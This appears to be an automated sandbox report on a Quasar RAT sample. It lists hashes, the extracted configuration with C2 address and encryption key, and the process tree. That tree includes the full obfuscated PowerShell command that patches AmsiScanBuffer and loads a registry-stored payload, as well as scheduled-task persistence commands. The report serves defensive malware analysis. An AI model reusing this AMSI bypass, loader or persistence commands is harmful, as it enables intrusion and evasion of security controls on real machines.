quasar | 653cbbfc7a0733f10923772348b001a25f8c6ddb76c5de60dc8652d8b267d985

Reason

Machine shutdown: "{\"level\":\"info\",\"time\":\"2024-04-24T17:17:03Z\",\"message\":\"Dirty snapshot: /var/lib/sandbox/hatchvm/win11-20240412-en/instance_8-dirty.qcow2\"}"

General

Target

kadsfknads.exe
Size

409KB
MD5

f78f2794728287425cac9fb2df79d06f
SHA1

3aedd26e40f9b97b76d2ac6ead991af37dcc61eb
SHA256

653cbbfc7a0733f10923772348b001a25f8c6ddb76c5de60dc8652d8b267d985
SHA512

12c2897886ee4052daf27199bb61d98b11a100c42d47fcd00694feaf1aff181f76ad9cab381236548f765da6d43f821ddfaff06adc3e82a8b92407cdcaef0c1f
SSDEEP

6144:prBdcuIns7ixFO/MlAGq0l9RkRSl/HVvKIIUb8rfVou49SDZQC8lU:Cs7ixmMlAGHlH/H1KIIRCSDZQ9U

Score

10^/10

quasar office04 spyware trojan

Malware Config

Extracted

Family

quasar

Version

3.1.5

Botnet

Office04

C2

147.185.221.19:33587

Mutex

$Sxr-Y5UVaD4ms682Xx0mKC

Attributes

encryption_key
cNsPUetVqJ8ENI534piu
install_name
DLLBOOSTRAPPER.exe
log_directory
Upd Error Logs
reconnect_delay
3000
startup_key
Windows 2H22 x64 2022
subdirectory
DllHoster

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 2 IoCs

Processes:

resource	yara_rule
behavioral3/memory/1884-0-0x0000000000280000-0x00000000002EC000-memory.dmp	family_quasar
C:\Users\Admin\AppData\Roaming\DllHoster\DLLBOOSTRAPPER.exe	family_quasar

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

powershell.EXE

description pid process target process

PID 3512 created 648 3512 powershell.EXE winlogon.exe
Executes dropped EXE 2 IoCs

Processes:

DLLBOOSTRAPPER.exeInstall.exe

pid process

4760 DLLBOOSTRAPPER.exe
3096 Install.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

1 raw.githubusercontent.com
4 raw.githubusercontent.com
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

1 ip-api.com

description	pid	process	target process
PID 3512 created 648	3512	powershell.EXE	winlogon.exe

pid	process
4760	DLLBOOSTRAPPER.exe
3096	Install.exe

flow	ioc
1	raw.githubusercontent.com
4	raw.githubusercontent.com

flow	ioc
1	ip-api.com

Drops file in System32 directory 2 IoCs

Processes:

powershell.EXE

description	ioc	process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.EXE

description pid process target process

PID 3512 set thread context of 2372 3512 powershell.EXE dllhost.exe
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeschtasks.exeSCHTASKS.exe

pid process

1552 schtasks.exe
1956 schtasks.exe
4792 SCHTASKS.exe

description	pid	process	target process
PID 3512 set thread context of 2372	3512	powershell.EXE	dllhost.exe

pid	process
1552	schtasks.exe
1956	schtasks.exe
4792	SCHTASKS.exe

Modifies data under HKEY_USERS 41 IoCs

Processes:

powershell.EXE

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

Processes:

powershell.EXEdllhost.exewlrmdr.exe

pid	process
3512	powershell.EXE
3512	powershell.EXE
3512	powershell.EXE
2372	dllhost.exe
2372	dllhost.exe
2372	dllhost.exe
2372	dllhost.exe
3848	wlrmdr.exe
3848	wlrmdr.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

kadsfknads.exeDLLBOOSTRAPPER.exepowershell.EXEdllhost.exe

description	pid	process
Token: SeDebugPrivilege	1884	kadsfknads.exe
Token: SeDebugPrivilege	4760	DLLBOOSTRAPPER.exe
Token: SeDebugPrivilege	3512	powershell.EXE
Token: SeDebugPrivilege	3512	powershell.EXE
Token: SeDebugPrivilege	2372	dllhost.exe

Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

DLLBOOSTRAPPER.exePickerHost.exe

pid process

4760 DLLBOOSTRAPPER.exe
5020 PickerHost.exe

pid	process
4760	DLLBOOSTRAPPER.exe
5020	PickerHost.exe

Suspicious use of WriteProcessMemory 48 IoCs

Processes:

kadsfknads.exepowershell.EXEDLLBOOSTRAPPER.exedllhost.exelsass.exewinlogon.exe

description	pid	process	target process
PID 1884 wrote to memory of 1956	1884	kadsfknads.exe	schtasks.exe
PID 1884 wrote to memory of 1956	1884	kadsfknads.exe	schtasks.exe
PID 1884 wrote to memory of 1956	1884	kadsfknads.exe	schtasks.exe
PID 1884 wrote to memory of 4760	1884	kadsfknads.exe	DLLBOOSTRAPPER.exe
PID 1884 wrote to memory of 4760	1884	kadsfknads.exe	DLLBOOSTRAPPER.exe
PID 1884 wrote to memory of 4760	1884	kadsfknads.exe	DLLBOOSTRAPPER.exe
PID 1884 wrote to memory of 3096	1884	kadsfknads.exe	Install.exe
PID 1884 wrote to memory of 3096	1884	kadsfknads.exe	Install.exe
PID 1884 wrote to memory of 3096	1884	kadsfknads.exe	Install.exe
PID 1884 wrote to memory of 4792	1884	kadsfknads.exe	SCHTASKS.exe
PID 1884 wrote to memory of 4792	1884	kadsfknads.exe	SCHTASKS.exe
PID 1884 wrote to memory of 4792	1884	kadsfknads.exe	SCHTASKS.exe
PID 3512 wrote to memory of 2372	3512	powershell.EXE	dllhost.exe
PID 3512 wrote to memory of 2372	3512	powershell.EXE	dllhost.exe
PID 3512 wrote to memory of 2372	3512	powershell.EXE	dllhost.exe
PID 3512 wrote to memory of 2372	3512	powershell.EXE	dllhost.exe
PID 3512 wrote to memory of 2372	3512	powershell.EXE	dllhost.exe
PID 3512 wrote to memory of 2372	3512	powershell.EXE	dllhost.exe
PID 3512 wrote to memory of 2372	3512	powershell.EXE	dllhost.exe
PID 3512 wrote to memory of 2372	3512	powershell.EXE	dllhost.exe
PID 4760 wrote to memory of 1552	4760	DLLBOOSTRAPPER.exe	schtasks.exe
PID 4760 wrote to memory of 1552	4760	DLLBOOSTRAPPER.exe	schtasks.exe
PID 4760 wrote to memory of 1552	4760	DLLBOOSTRAPPER.exe	schtasks.exe
PID 2372 wrote to memory of 648	2372	dllhost.exe	winlogon.exe
PID 2372 wrote to memory of 704	2372	dllhost.exe	lsass.exe
PID 2372 wrote to memory of 1016	2372	dllhost.exe	svchost.exe
PID 2372 wrote to memory of 468	2372	dllhost.exe	dwm.exe
PID 2372 wrote to memory of 736	2372	dllhost.exe	svchost.exe
PID 704 wrote to memory of 2676	704	lsass.exe	sysmon.exe
PID 704 wrote to memory of 2676	704	lsass.exe	sysmon.exe
PID 2372 wrote to memory of 912	2372	dllhost.exe	svchost.exe
PID 704 wrote to memory of 2676	704	lsass.exe	sysmon.exe
PID 2372 wrote to memory of 1072	2372	dllhost.exe	svchost.exe
PID 2372 wrote to memory of 1156	2372	dllhost.exe	svchost.exe
PID 2372 wrote to memory of 1192	2372	dllhost.exe	svchost.exe
PID 2372 wrote to memory of 1240	2372	dllhost.exe	svchost.exe
PID 648 wrote to memory of 3848	648	winlogon.exe	wlrmdr.exe
PID 648 wrote to memory of 3848	648	winlogon.exe	wlrmdr.exe
PID 2372 wrote to memory of 3848	2372	dllhost.exe	wlrmdr.exe
PID 2372 wrote to memory of 1272	2372	dllhost.exe	svchost.exe
PID 2372 wrote to memory of 1288	2372	dllhost.exe	svchost.exe
PID 2372 wrote to memory of 1376	2372	dllhost.exe	svchost.exe
PID 2372 wrote to memory of 1444	2372	dllhost.exe	svchost.exe
PID 2372 wrote to memory of 1528	2372	dllhost.exe	svchost.exe
PID 2372 wrote to memory of 1636	2372	dllhost.exe	svchost.exe
PID 2372 wrote to memory of 1644	2372	dllhost.exe	svchost.exe
PID 2372 wrote to memory of 1716	2372	dllhost.exe	svchost.exe
PID 2372 wrote to memory of 1748	2372	dllhost.exe	svchost.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:648

C:\Windows\system32\dwm.exe
"dwm.exe"
2⤵
PID:468

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{fd350f10-3949-41dd-9423-4a56d73f42f2}
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2372

C:\Windows\system32\wlrmdr.exe
-s -1 -f 2 -t Your PC will automatically restart in one minute -m Windows ran into a problem and needs to restart. You should close this message now and save your work. -a 3
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:3848

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:704

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:1016

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:736

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:912

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1072

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1156

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1192

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:CDyjfqktKYUK{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$lBBPKajvCJWkxc,[Parameter(Position=1)][Type]$bdrAKtwktA)$UFKDXRBufBQ=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+'e'+''+[Char](102)+''+[Char](108)+''+'e'+''+[Char](99)+''+[Char](116)+''+'e'+'d'+[Char](68)+'el'+'e'+''+[Char](103)+''+[Char](97)+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+'n'+''+[Char](77)+''+'e'+''+[Char](109)+''+[Char](111)+''+'r'+'yMo'+[Char](100)+''+[Char](117)+''+'l'+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+''+'e'+'le'+[Char](103)+'a'+'t'+''+[Char](101)+''+[Char](84)+''+'y'+''+[Char](112)+''+'e'+'',''+[Char](67)+''+[Char](108)+'a'+[Char](115)+''+[Char](115)+''+[Char](44)+'P'+[Char](117)+''+'b'+''+[Char](108)+'ic,'+[Char](83)+''+[Char](101)+'a'+'l'+''+[Char](101)+'d'+','+''+'A'+''+'n'+''+[Char](115)+''+'i'+''+[Char](67)+'l'+'a'+''+'s'+''+[Char](115)+''+','+''+[Char](65)+''+'u'+''+'t'+'o'+[Char](67)+''+[Char](108)+''+[Char](97)+''+'s'+''+[Char](115)+'',[MulticastDelegate]);$UFKDXRBufBQ.DefineConstructor('RT'+[Char](83)+''+'p'+''+[Char](101)+'ci'+[Char](97)+''+[Char](108)+''+[Char](78)+''+'a'+'me'+[Char](44)+''+'H'+''+'i'+'d'+'e'+''+[Char](66)+'y'+'S'+''+[Char](105)+'g'+[Char](44)+'P'+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+'c'+'',[Reflection.CallingConventions]::Standard,$lBBPKajvCJWkxc).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+'i'+''+'m'+'e'+','+'M'+'a'+''+'n'+''+'a'+'ge'+[Char](100)+'');$UFKDXRBufBQ.DefineMethod(''+[Char](73)+''+[Char](110)+''+'v'+''+[Char](111)+''+'k'+''+[Char](101)+'',''+[Char](80)+'u'+'b'+''+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+''+[Char](72)+'i'+[Char](100)+'e'+[Char](66)+''+[Char](121)+''+[Char](83)+'i'+[Char](103)+''+','+'N'+'e'+''+'w'+'S'+'l'+''+[Char](111)+''+[Char](116)+''+[Char](44)+'V'+'i'+''+'r'+'tu'+[Char](97)+'l',$bdrAKtwktA,$lBBPKajvCJWkxc).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+','+''+'M'+''+'a'+''+[Char](110)+''+[Char](97)+''+[Char](103)+'ed');Write-Output $UFKDXRBufBQ.CreateType();}$VRpDrxrpvCeDM=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+'t'+[Char](101)+''+'m'+''+[Char](46)+''+'d'+''+'l'+''+[Char](108)+'')}).GetType('Mic'+[Char](114)+''+[Char](111)+''+'s'+'o'+'f'+''+'t'+''+'.'+''+'W'+'i'+[Char](110)+''+'3'+''+[Char](50)+''+'.'+''+'U'+'n'+[Char](115)+''+[Char](97)+''+'f'+''+[Char](101)+''+[Char](78)+''+[Char](97)+''+[Char](116)+''+'i'+'v'+[Char](101)+''+'M'+''+'e'+''+[Char](116)+''+'h'+''+[Char](111)+''+'d'+'s');$urcOocbvhForbt=$VRpDrxrpvCeDM.GetMethod('G'+[Char](101)+'t'+[Char](80)+''+'r'+'o'+'c'+''+[Char](65)+''+[Char](100)+''+[Char](100)+'r'+[Char](101)+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+','+'S'+'t'+[Char](97)+''+'t'+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$eZrLvujyhaQmDVGWRKu=CDyjfqktKYUK @([String])([IntPtr]);$vBsQcstVNCvuEWCTWhNwfJ=CDyjfqktKYUK @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$TzCzkJzGFQP=$VRpDrxrpvCeDM.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+''+[Char](77)+''+[Char](111)+''+'d'+''+'u'+''+[Char](108)+''+[Char](101)+'H'+'a'+''+[Char](110)+''+[Char](100)+''+[Char](108)+''+'e'+'').Invoke($Null,@([Object](''+'k'+'e'+[Char](114)+''+[Char](110)+''+[Char](101)+'l3'+'2'+''+'.'+''+'d'+''+[Char](108)+'l')));$fDmkXauZQxRHpb=$urcOocbvhForbt.Invoke($Null,@([Object]$TzCzkJzGFQP,[Object](''+[Char](76)+'o'+'a'+''+[Char](100)+''+[Char](76)+''+[Char](105)+'b'+[Char](114)+'ar'+'y'+''+[Char](65)+'')));$zwCruUTxZwErzliFy=$urcOocbvhForbt.Invoke($Null,@([Object]$TzCzkJzGFQP,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+[Char](117)+'al'+[Char](80)+''+[Char](114)+''+'o'+''+[Char](116)+''+[Char](101)+''+[Char](99)+''+'t'+'')));$HrVwcQZ=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($fDmkXauZQxRHpb,$eZrLvujyhaQmDVGWRKu).Invoke(''+[Char](97)+''+[Char](109)+'s'+[Char](105)+''+'.'+''+[Char](100)+'l'+'l'+'');$sZnKJpNkIlUFtSrlo=$urcOocbvhForbt.Invoke($Null,@([Object]$HrVwcQZ,[Object]('A'+[Char](109)+''+[Char](115)+'iS'+[Char](99)+''+[Char](97)+''+[Char](110)+''+[Char](66)+''+[Char](117)+''+[Char](102)+'f'+[Char](101)+''+[Char](114)+'')));$MQlHJVFTUQ=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($zwCruUTxZwErzliFy,$vBsQcstVNCvuEWCTWhNwfJ).Invoke($sZnKJpNkIlUFtSrlo,[uint32]8,4,[ref]$MQlHJVFTUQ);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$sZnKJpNkIlUFtSrlo,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($zwCruUTxZwErzliFy,$vBsQcstVNCvuEWCTWhNwfJ).Invoke($sZnKJpNkIlUFtSrlo,[uint32]8,0x20,[ref]$MQlHJVFTUQ);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+'F'+'T'+[Char](87)+''+[Char](65)+'R'+[Char](69)+'').GetValue(''+[Char](36)+''+[Char](55)+''+'7'+''+[Char](115)+''+[Char](116)+''+'a'+'g'+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3512

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1240

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1272

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1288

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1376

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1444

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1528

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1636

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1644

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1716

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1748

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2676

C:\Users\Admin\AppData\Local\Temp\kadsfknads.exe
"C:\Users\Admin\AppData\Local\Temp\kadsfknads.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1884

C:\Windows\SysWOW64\schtasks.exe
"schtasks" /create /tn "Windows 2H22 x64 2022" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\kadsfknads.exe" /rl HIGHEST /f
2⤵
- Creates scheduled task(s)
PID:1956

C:\Users\Admin\AppData\Roaming\DllHoster\DLLBOOSTRAPPER.exe
"C:\Users\Admin\AppData\Roaming\DllHoster\DLLBOOSTRAPPER.exe"
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4760

C:\Windows\SysWOW64\schtasks.exe
"schtasks" /create /tn "Windows 2H22 x64 2022" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\DllHoster\DLLBOOSTRAPPER.exe" /rl HIGHEST /f
3⤵
- Creates scheduled task(s)
PID:1552

C:\Users\Admin\AppData\Local\Temp\Install.exe
"C:\Users\Admin\AppData\Local\Temp\Install.exe"
2⤵
- Executes dropped EXE
PID:3096

C:\Windows\SysWOW64\SCHTASKS.exe
"SCHTASKS.exe" /create /tn "$77kadsfknads.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\kadsfknads.exe'" /sc onlogon /rl HIGHEST
2⤵
- Creates scheduled task(s)
PID:4792

C:\Windows\System32\PickerHost.exe
C:\Windows\System32\PickerHost.exe -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
PID:5020

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Scheduled Task/Job

1

T1053

Persistence

Scheduled Task/Job

1

T1053

Privilege Escalation

Scheduled Task/Job

1

T1053

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

1

T1102

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Install.exe
Filesize
162KB

MD5
152e3f07bbaf88fb8b097ba05a60df6e

SHA1
c4638921bb140e7b6a722d7c4d88afa7ed4e55c8

SHA256
a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc

SHA512
2fcc3136e161e89a123f9ff8447afc21d090afdb075f084439b295988214d4b8e918be7eff47ffeec17a4a47ad5a49195b69e2465f239ee03d961a655ed51cd4

Download Submit
C:\Users\Admin\AppData\Roaming\DllHoster\DLLBOOSTRAPPER.exe
Filesize
409KB

MD5
f78f2794728287425cac9fb2df79d06f

SHA1
3aedd26e40f9b97b76d2ac6ead991af37dcc61eb

SHA256
653cbbfc7a0733f10923772348b001a25f8c6ddb76c5de60dc8652d8b267d985

SHA512
12c2897886ee4052daf27199bb61d98b11a100c42d47fcd00694feaf1aff181f76ad9cab381236548f765da6d43f821ddfaff06adc3e82a8b92407cdcaef0c1f

Download Submit
C:\Windows\Temp\__PSScriptPolicyTest_njjg0lwx.4nr.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/468-95-0x0000029E5A400000-0x0000029E5A42B000-memory.dmp

Filesize
172KB

Download
memory/648-66-0x000002670B950000-0x000002670B97B000-memory.dmp

Filesize
172KB

Download
memory/648-72-0x00007FF8E7BC6000-0x00007FF8E7BC7000-memory.dmp

Filesize
4KB

Download
memory/648-70-0x00007FF8E7BC4000-0x00007FF8E7BC5000-memory.dmp

Filesize
4KB

Download
memory/648-67-0x00007FF8A7BB0000-0x00007FF8A7BC0000-memory.dmp

Filesize
64KB

Download
memory/648-68-0x00007FF8E7BC3000-0x00007FF8E7BC4000-memory.dmp

Filesize
4KB

Download
memory/648-54-0x000002670B920000-0x000002670B945000-memory.dmp

Filesize
148KB

Download
memory/648-57-0x000002670B950000-0x000002670B97B000-memory.dmp

Filesize
172KB

Download
memory/648-58-0x000002670B950000-0x000002670B97B000-memory.dmp

Filesize
172KB

Download
memory/704-74-0x000001D1955B0000-0x000001D1955DB000-memory.dmp

Filesize
172KB

Download
memory/704-89-0x00007FF8A7BB0000-0x00007FF8A7BC0000-memory.dmp

Filesize
64KB

Download
memory/704-86-0x000001D1955B0000-0x000001D1955DB000-memory.dmp

Filesize
172KB

Download
memory/736-107-0x000002632D0D0000-0x000002632D0FB000-memory.dmp

Filesize
172KB

Download
memory/1016-109-0x000001C25C9D0000-0x000001C25C9FB000-memory.dmp

Filesize
172KB

Download
memory/1016-85-0x000001C25C9D0000-0x000001C25C9FB000-memory.dmp

Filesize
172KB

Download
memory/1884-6-0x0000000005420000-0x0000000005432000-memory.dmp

Filesize
72KB

Download
memory/1884-19-0x0000000074C00000-0x00000000753B1000-memory.dmp

Filesize
7.7MB

Download
memory/1884-7-0x0000000006000000-0x000000000603C000-memory.dmp

Filesize
240KB

Download
memory/1884-1-0x0000000074C00000-0x00000000753B1000-memory.dmp

Filesize
7.7MB

Download
memory/1884-5-0x0000000004ED0000-0x0000000004F36000-memory.dmp

Filesize
408KB

Download
memory/1884-4-0x0000000004D30000-0x0000000004D40000-memory.dmp

Filesize
64KB

Download
memory/1884-3-0x0000000004DE0000-0x0000000004E72000-memory.dmp

Filesize
584KB

Download
memory/1884-2-0x0000000005480000-0x0000000005A26000-memory.dmp

Filesize
5.6MB

Download
memory/1884-0-0x0000000000280000-0x00000000002EC000-memory.dmp

Filesize
432KB

Download
memory/2372-42-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2372-38-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/2372-46-0x00007FF8E6B10000-0x00007FF8E6BCD000-memory.dmp

Filesize
756KB

Download
memory/2372-132-0x00007FF8E7B20000-0x00007FF8E7D29000-memory.dmp

Filesize
2.0MB

Download
